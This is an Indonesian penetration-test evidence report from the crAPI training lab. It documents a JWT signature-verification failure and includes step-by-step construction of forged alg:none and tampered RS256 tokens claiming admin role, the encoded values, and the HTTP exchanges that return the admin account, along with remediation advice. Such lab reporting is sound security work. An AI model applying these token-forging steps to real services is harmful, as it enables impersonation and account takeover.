Skenario 05 / 19FAIL

JWT Signature Not Verified - Authentication - JWT Validation

Lingkungan lab — bukan sistem produksi

Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.

crAPI/Evidence/[FAIL] JWT Signature Not Verified - Authentication - JWT Validation

01 — Catatan

Catatan pengujian

Kerentanan

[FAIL] JWT Signature Not Verified - Authentication - JWT Validation

Deskripsi

Layanan identity crAPI tidak memverifikasi tanda tangan JWT. Token ber-header alg:none tanpa signature diterima, dan token RS256 yang payload-nya diubah tanpa di-resign juga diterima. Penyerang bebas memalsukan token untuk user mana pun dan menaikkan role menjadi admin.

Dampak

Confidentiality: data akun korban dapat dibaca. Integrity: identitas & role (admin) dapat dipalsukan -> account takeover penuh atas seluruh pengguna tanpa kredensial.

CWE

CWE-347: Improper Verification of Cryptographic Signature

OWASP

API2:2023 - Broken Authentication

Skenario

Normal: token sah role=user hanya mengakses data sendiri. Eksploitasi: token palsu (alg:none / RS256 ter-edit) menyamar sebagai ADMIN (sub=[REDACTED-EMAIL], role=admin) -> mengakses akun admin (id=5) -> CIA (Confidentiality + Integrity).

Endpoint

GET http://127.0.0.1:8888/identity/api/v2/user/dashboard (seluruh endpoint identity berbasis JWT)

Fitur terdampak

Autentikasi berbasis JWT (crapi-identity)

Rekomendasi perbaikan

- Verifikasi signature JWT dengan kunci publik RS256 pada tiap request. - Tolak eksplisit alg:none & lakukan algorithm allow-listing (hanya RS256). - Gunakan pustaka JWT matang; validasi exp/iss/aud.

Bukti konsep

1) (Screenshot 1) NORMAL: GET /identity/api/v2/vehicle/vehicles dengan token RS256 sah (ditampilkan utuh) -> 200, hanya data milik sendiri. 2) (Screenshot 2) PROSES alg:none: bongkar token asli, base64url-decode header & payload, ubah alg menjadi 'none' tanpa signature dan payload sub=[REDACTED-EMAIL]/role=admin, lalu susun ulang menjadi token palsu (ditampilkan utuh). 3) (Screenshot 3) EKSPLOITASI: kirim token alg:none -> 200 mengembalikan akun ADMIN (id=5, ROLE_ADMIN). 4) (Screenshot 4) PROSES tamper RS256: ambil token RS256 asli, edit payload sub=[REDACTED-EMAIL] & role=admin, pasang kembali signature LAMA tanpa re-sign (token utuh). 5) (Screenshot 5) DAMPAK CIA: kirim token RS256 tampered -> tetap 200 mengembalikan akun ADMIN -> membuktikan signature tidak diverifikasi (Confidentiality + Integrity).
Lihat catatan sumber (bahasa Indonesia)
Vulnerability: [FAIL] JWT Signature Not Verified - Authentication - JWT Validation

Description:
Layanan identity crAPI tidak memverifikasi tanda tangan JWT. Token ber-header alg:none tanpa signature diterima, dan token RS256 yang payload-nya diubah tanpa di-resign juga diterima. Penyerang bebas memalsukan token untuk user mana pun dan menaikkan role menjadi admin.

Impact:
Confidentiality: data akun korban dapat dibaca. Integrity: identitas & role (admin) dapat dipalsukan -> account takeover penuh atas seluruh pengguna tanpa kredensial.

CWE:
CWE-347: Improper Verification of Cryptographic Signature

OWASP:
API2:2023 - Broken Authentication

Scenario:
Normal: token sah role=user hanya mengakses data sendiri. Eksploitasi: token palsu (alg:none / RS256 ter-edit) menyamar sebagai ADMIN (sub=[REDACTED-EMAIL], role=admin) -> mengakses akun admin (id=5) -> CIA (Confidentiality + Integrity).

Endpoint:
GET http://127.0.0.1:8888/identity/api/v2/user/dashboard (seluruh endpoint identity berbasis JWT)

Affected Feature:
Autentikasi berbasis JWT (crapi-identity)

Remediation:
- Verifikasi signature JWT dengan kunci publik RS256 pada tiap request.
- Tolak eksplisit alg:none & lakukan algorithm allow-listing (hanya RS256).
- Gunakan pustaka JWT matang; validasi exp/iss/aud.

POC:
1) (Screenshot 1) NORMAL: GET /identity/api/v2/vehicle/vehicles dengan token RS256 sah (ditampilkan utuh) -> 200, hanya data milik sendiri.
2) (Screenshot 2) PROSES alg:none: bongkar token asli, base64url-decode header & payload, ubah alg menjadi 'none' tanpa signature dan payload sub=[REDACTED-EMAIL]/role=admin, lalu susun ulang menjadi token palsu (ditampilkan utuh).
3) (Screenshot 3) EKSPLOITASI: kirim token alg:none -> 200 mengembalikan akun ADMIN (id=5, ROLE_ADMIN).
4) (Screenshot 4) PROSES tamper RS256: ambil token RS256 asli, edit payload sub=[REDACTED-EMAIL] & role=admin, pasang kembali signature LAMA tanpa re-sign (token utuh).
5) (Screenshot 5) DAMPAK CIA: kirim token RS256 tampered -> tetap 200 mengembalikan akun ADMIN -> membuktikan signature tidak diverifikasi (Confidentiality + Integrity).

02 — Tangkapan layar

Tangkapan layar (3)

01 / Normal: akses dengan token sendiri yang valid

Normal: penyerang menggunakan token RS256 miliknya yang valid (role=user) untuk mengakses datanya sendiri. Rekaman sumber memuat token lengkap; nilai kredensial disamarkan dalam tampilan HTML ini.

02 / Hasil: token tanpa signature diterima sebagai admin

Hasil: server menerima token alg:none tanpa signature dan mengembalikan akun admin (id=5, ROLE_ADMIN). Rekaman ini mencatat keberhasilan menyamar sepenuhnya sebagai admin. Sumber memuat token lengkap di header; nilai kredensial disamarkan dalam tampilan HTML ini.

03 / Dampak: token RS256 yang diubah tetap diterima

Dampak: token dengan signature yang tidak cocok tetap mendapat response 200. Data akun admin terbaca sehingga kerahasiaan terdampak; pemalsuan identitas dan role admin berdampak pada integritas. Server tidak memverifikasi signature.

03 — Detail proses

Detail proses

Nilai kredensial disamarkan dalam tampilan HTML ini; keterangan tentang token lengkap merujuk pada rekaman sumber.

PROSES 01 / 2
01 / Dekode dan susun ulang JWT dengan alg:none, sub=admin, dan role=admin

Dekode dan susun ulang JWT dengan alg:none, sub=admin, dan role=admin

Persiapan: buat token alg:none tanpa signature

Persiapan: atur header ke alg:none dan kosongkan signature. Ubah payload untuk menyamar sebagai admin (sub=[REDACTED-EMAIL], role=admin).

1. Token asli hasil login (format: header.payload.signature)

[REDACTED-LAB-JWT]

2. Dekode setiap bagian dengan Base64URL

header  = eyJhbGciOiJSUzI1NiJ9
        -> {"alg": "RS256"}
payload = eyJzdWIiOiJmYXFpaEBnbWFpbC5jb20iLCJpYXQiOjE3OTA2OTA3MTQsImV4cCI6MTc5MTI5NTUxNCwicm9sZSI6InVzZXIifQ
        -> {"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "user"}

3. Susun token palsu: alg='none' (tanpa signature), sub->[REDACTED-EMAIL], role->admin

header baru  = base64url({"alg": "none", "typ": "JWT"})
             = eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
payload baru = base64url({"sub": "[REDACTED-EMAIL]", "role": "admin", "iat": 1790690714, "exp": 1999999999})
             = eyJzdWIiOiJhZG1pbkBleGFtcGxlLmNvbSIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc5MDY5MDcxNCwiZXhwIjoxOTk5OTk5OTk5fQ
signature    = (KOSONG)

4. Token palsu hasil akhir (lengkap tanpa pemotongan di rekaman sumber; nilai kredensial disamarkan dalam tampilan HTML ini)

[REDACTED-LAB-JWT]
PROSES 02 / 4
02 / Ubah klaim RS256 ke sub=admin dan role=admin; pertahankan signature asli yang kini tidak valid

Ubah klaim RS256 ke sub=admin dan role=admin; pertahankan signature asli yang kini tidak valid

Persiapan: ubah payload, pertahankan signature

Persiapan: ubah payload RS256, tetapi pertahankan signature asli. Signature tidak lagi cocok dengan payload sehingga token seharusnya ditolak, tetapi crAPI tetap menerimanya.

1. Token RS256 asli (signature valid)

[REDACTED-LAB-JWT]

2. Dekode payload

{"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "user"}

3. Ubah payload (role user->admin, sub->[REDACTED-EMAIL]); pertahankan header dan signature asli

payload baru = base64url({"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "admin"})
             = eyJzdWIiOiJhZG1pbkBleGFtcGxlLmNvbSIsImlhdCI6MTc5MDY5MDcxNCwiZXhwIjoxNzkxMjk1NTE0LCJyb2xlIjoiYWRtaW4ifQ
header       = eyJhbGciOiJSUzI1NiJ9   (tetap, alg RS256)
signature    = qiVE1YKhnGZYsQoV8qLrVMWSqX1XkvyP_8xBeCNs40s0BwNFP6ml5JkS_qAyFmcPJ9MqhN_4BCGuoIQ71mzzqWAUPd29N9mLh17OaiYFPlhalYV7A4h7XGY9sQNFyFwhlGXTSpSE5vNGzMBGVb_QXNoeabnuvIWnerN6wlkLL0vEKMIvtAkEUPey1GciCnp-6Vm_xf7g53AWjZ1Zg9d3kbDjHAvN697pn2czd98QQdK2E-DCQSyt8K8PLFRl1qqBO3gDeIv2HFJ-R-eds9QfnoeCUUk4BPBcND7BbqTFVVx6FUVx-A_lsIe8KmGNSllOP6zcDsSmQFMHmubilsdv7g   (signature LAMA, TIDAK di-resign)

4. Token hasil (header.payload_baru.signature_lama) -- signature tidak cocok dengan payload (lengkap di rekaman sumber; nilai kredensial disamarkan dalam tampilan HTML ini)

[REDACTED-LAB-JWT]

04 — Request dan response

Rekaman HTTP

Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.

REKAMAN 01 / 1Normal: akses dengan token sendiri yang valid
HTTP request
GET /identity/api/v2/vehicle/vehicles HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 368

[
  {
    "id": 6,
    "uuid": "9b3ce26b-d797-404b-a961-09d7e45e0d1b",
    "pincode": "8392",
    "vin": "861P9NB3CL6ZEA9X1",
    "year": 2026,
    "status": "INACTIVE",
    "previousOwners": [],
    "model": {
      "id": 4,
      "model": "5 Series",
      "fuel_type": "PETROL",
      "vehicle_img": "images/bmw-5.jpg",
      "vehiclecompany": {
        "id": 4,
        "name": "BMW"
      }
    },
    "vehicleLocation": {
      "id": 4,
      "latitude": "38.206348",
      "longitude": "-84.270172"
    },
    "owner": null
  }
]

Normal: penyerang menggunakan token RS256 miliknya yang valid (role=user) untuk mengakses datanya sendiri. Rekaman sumber memuat token lengkap; nilai kredensial disamarkan dalam tampilan HTML ini.

REKAMAN 02 / 3Hasil: token tanpa signature diterima sebagai admin
HTTP request
GET /identity/api/v2/user/dashboard HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 231

{
  "id": 5,
  "name": "Admin",
  "email": "[REDACTED-EMAIL]",
  "number": "9010203040",
  "picture_url": null,
  "video_url": "data:image/jpeg;base64,B7HoBfK09fDx0A==",
  "video_name": "Admin_video",
  "available_credit": 100.0,
  "video_id": 5,
  "role": "ROLE_ADMIN"
}

Hasil: server menerima token alg:none tanpa signature dan mengembalikan akun admin (id=5, ROLE_ADMIN). Rekaman ini mencatat keberhasilan menyamar sepenuhnya sebagai admin. Sumber memuat token lengkap di header; nilai kredensial disamarkan dalam tampilan HTML ini.

REKAMAN 03 / 5Dampak: token RS256 yang diubah tetap diterima
HTTP request
GET /identity/api/v2/user/dashboard HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 231

{
  "id": 5,
  "name": "Admin",
  "email": "[REDACTED-EMAIL]",
  "number": "9010203040",
  "picture_url": null,
  "video_url": "data:image/jpeg;base64,B7HoBfK09fDx0A==",
  "video_name": "Admin_video",
  "available_credit": 100.0,
  "video_id": 5,
  "role": "ROLE_ADMIN"
}

Dampak: token dengan signature yang tidak cocok tetap mendapat response 200. Data akun admin terbaca sehingga kerahasiaan terdampak; pemalsuan identitas dan role admin berdampak pada integritas. Server tidak memverifikasi signature.